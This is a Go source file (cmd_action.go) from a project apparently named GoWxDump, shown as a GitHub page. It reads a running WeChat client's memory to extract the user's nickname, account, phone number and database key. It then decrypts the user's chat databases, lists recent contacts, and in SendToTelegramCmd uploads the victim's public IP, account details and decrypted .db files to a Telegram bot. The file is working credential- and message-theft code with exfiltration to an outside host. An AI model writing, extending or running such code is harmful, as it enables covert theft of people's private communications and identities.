-
Notifications
You must be signed in to change notification settings - Fork 2
/
cmd_action.go
256 lines (234 loc) · 7.06 KB
/
cmd_action.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
package main
import (
"GoWxDump/db"
"encoding/json"
"fmt"
"os"
"path/filepath"
"time"
)
func GetWeChatInfo() error {
// 获取微信版本
version, err := GetVersion(WeChatDataObject.WeChatWinFullName)
if err != nil {
return err
}
// 获取微信昵称
nickName, err := GetWeChatData(WeChatDataObject.WeChatHandle, WeChatDataObject.WeChatWinBaseAddr+uint64(OffSetMap[version][0]), 100)
if err != nil {
return err
}
// 获取微信账号
account, err := GetWeChatData(WeChatDataObject.WeChatHandle, WeChatDataObject.WeChatWinBaseAddr+uint64(OffSetMap[version][1]), 100)
if err != nil {
return err
}
// 获取微信手机号
mobile, err := GetWeChatData(WeChatDataObject.WeChatHandle, WeChatDataObject.WeChatWinBaseAddr+uint64(OffSetMap[version][2]), 100)
if err != nil {
return err
}
// 获取微信密钥
key, err := GetWeChatKey(WeChatDataObject.WeChatHandle, WeChatDataObject.WeChatWinBaseAddr+uint64(OffSetMap[version][4]))
if err != nil {
return err
}
// 设置微信数据
WeChatDataObject.Version = version
WeChatDataObject.NickName = nickName
WeChatDataObject.Account = account
WeChatDataObject.Mobile = mobile
WeChatDataObject.Key = key
return nil
}
func ShowInfoCmd() {
fmt.Printf("WeChat Version: %s \n", WeChatDataObject.Version)
fmt.Printf("WeChat NickName: %s \n", WeChatDataObject.NickName)
fmt.Printf("WeChat Account: %s \n", WeChatDataObject.Account)
fmt.Printf("WeChat Mobile: %s \n", WeChatDataObject.Mobile)
fmt.Printf("WeChat Key: %s \n", WeChatDataObject.Key)
// 创建一个新的变量 WeChatInfo,将属性值放入其中
WeChatInfo := struct {
Version string
NickName string
Account string
Mobile string
Key string
}{
Version: WeChatDataObject.Version,
NickName: WeChatDataObject.NickName,
Account: WeChatDataObject.Account,
Mobile: WeChatDataObject.Mobile,
Key: WeChatDataObject.Key,
}
// 将数据转换为 JSON 格式
jsonData, err := json.Marshal(WeChatInfo)
if err != nil {
fmt.Println("Error marshaling JSON:", err)
return
}
// 检查wechat_info.json文件是否存在,存在则删除
_, err = os.Stat(".\\decrypted\\wechat_info.json")
if err == nil {
os.Remove(".\\decrypted\\wechat_info.json")
}
file, err := os.Create(".\\decrypted\\wechat_info.json")
if err != nil {
fmt.Println("Error creating file:", err)
return
}
defer file.Close()
_, err = file.Write(jsonData)
if err != nil {
fmt.Println("Error writing JSON data:", err)
return
}
fmt.Println("WeChat info saved to wechat_info.json")
}
func DecryptCmd() {
// 获取用户数据目录
wechatRoot, err := GetWeChatDir()
if err != nil {
fmt.Println("请手动设置微信消息目录")
return
}
// 获取用户目录
userDir, err := GetWeChatUserDir(wechatRoot)
if err != nil {
fmt.Println("GetWeChatUserDir error: ", err)
return
}
for id, dataDir := range userDir {
fmt.Printf("处理中的微信ID [%s]: %s\n", id, dataDir)
// 判断目录是否存在
_, err := os.Stat(dataDir)
if err != nil {
fmt.Println("目录不存在:", dataDir)
}
// 判断输入的目录中是否存在Msg目录
_, err = os.Stat(filepath.Join(dataDir, "Msg", "Multi"))
if err != nil {
fmt.Println("非微信目录:", dataDir)
}
// 复制聊天记录文件到缓存目录dataDir + \Msg\Multi
err = CopyMsgDb(filepath.Join(dataDir, "Msg", "Multi"))
if err != nil {
fmt.Println("CopyMsgDb error: ", err)
}
err = CopyMsgDb(filepath.Join(dataDir, "Msg"))
if err != nil {
fmt.Println("CopyMicroMsgDb error: ", err)
}
// 解密tmp目录下的所有.db文件,解密后的文件放在decrypted目录下
err = DecryptDb(WeChatDataObject.Key)
if err != nil {
fmt.Println("DecryptDb error: ", err)
}
// 清理缓存目录
err = os.RemoveAll(CurrentPath + "\\tmp")
if err != nil {
fmt.Println("RemoveAll error: ", err)
}
fmt.Printf("处理完成的微信ID [%s]\n", id)
// 读取当前目录下decrypted/decrypted.json里面的status属性,如果status为true,则终止循环
status, err := readDecryptedJSONStatus()
if err != nil {
fmt.Println("Error reading decrypted.json: ", err)
} else if status {
fmt.Printf("检测到已有解密成功的微信,终止处理\n\n")
break
} else {
fmt.Printf("未检测到已有解密成功的微信,继续处理\n\n")
}
}
}
// 读取decrypted/decrypted.json里面的status属性
func readDecryptedJSONStatus() (bool, error) {
filePath := filepath.Join(CurrentPath, "decrypted", "decrypted.json")
file, err := os.Open(filePath)
if err != nil {
return false, err
}
defer file.Close()
var decryptedData struct {
Status bool `json:"status"`
}
decoder := json.NewDecoder(file)
if err := decoder.Decode(&decryptedData); err != nil {
return false, err
}
return decryptedData.Status, nil
}
func FriendsListCmd() {
weChatDb := &db.WeChatDb{}
// 初始化数据库对象
err := weChatDb.InitDb(filepath.Join(CurrentPath, "decrypted", "MicroMsg.db"))
if err != nil {
fmt.Println("InitDb error: ", err)
return
}
nearChatList, err := weChatDb.GetNearChatFriends(10)
if err != nil {
fmt.Println("GetNearChatFriends error: ", err)
return
}
// fmt.Println(nearChatList)
// 如果NearChatList不为空
if len(nearChatList) > 0 {
userNameList := make([]string, 0)
for _, v := range nearChatList {
userNameList = append(userNameList, v.Username)
}
userList, err := weChatDb.GetFriendInfoListWithUserList(userNameList)
if err != nil {
fmt.Println("GetFriendInfoListWithUserList error: ", err)
return
}
// 按照nearChatList的顺序输出
for _, v := range nearChatList {
// 找到userList中Alias为v的元素
for _, v1 := range userList {
if v1.UserName == v.Username {
lastTime := time.Unix(v.LastReadedCreateTime/1000, 0).Format("2006-01-02 15:04:05")
fmt.Printf("NickName: %s \nRemark: %s \nAlias: %s \nUserName: %s \nLastTime: %s\n-------------------------------- \n", v1.NickName, v1.Remark, v1.Alias, v1.UserName, lastTime)
break
}
}
}
}
weChatDb.Close()
}
func SendToTelegramCmd() {
if TELBOT_TOKEN != "" && TELBOT_CHAT_ID != 0 {
publicIp, err := GetPublicIp()
if err != nil {
publicIp = ""
}
markDownText := fmt.Sprintf("```\n[%s]\n微信版本: %s\n微信昵称: %s\n微信账号: %s\n微信手机号: %s\n```", publicIp, WeChatDataObject.Version, WeChatDataObject.NickName, WeChatDataObject.Account, WeChatDataObject.Mobile)
fileList := make([]string, 0)
// 将decrypted目录下的所有.db文件添加到fileList中
err = filepath.Walk(filepath.Join(CurrentPath, "decrypted"), func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
// 判断如果不是.db文件,就跳过
if filepath.Ext(path) != ".db" {
return nil
}
// 如果不是MicroMsg.db则跳过
// if info.Name() != "hello.db" && info.Name() != "word.db" {
// return nil
// }
if !info.IsDir() {
fileList = append(fileList, path)
}
return nil
})
// 如果fileList不为空,就发送文件
if len(fileList) > 0 {
TeleSendFileAndMessage(markDownText, fileList)
} else {
TeleSendMarkDownMessage(markDownText)
}
}
}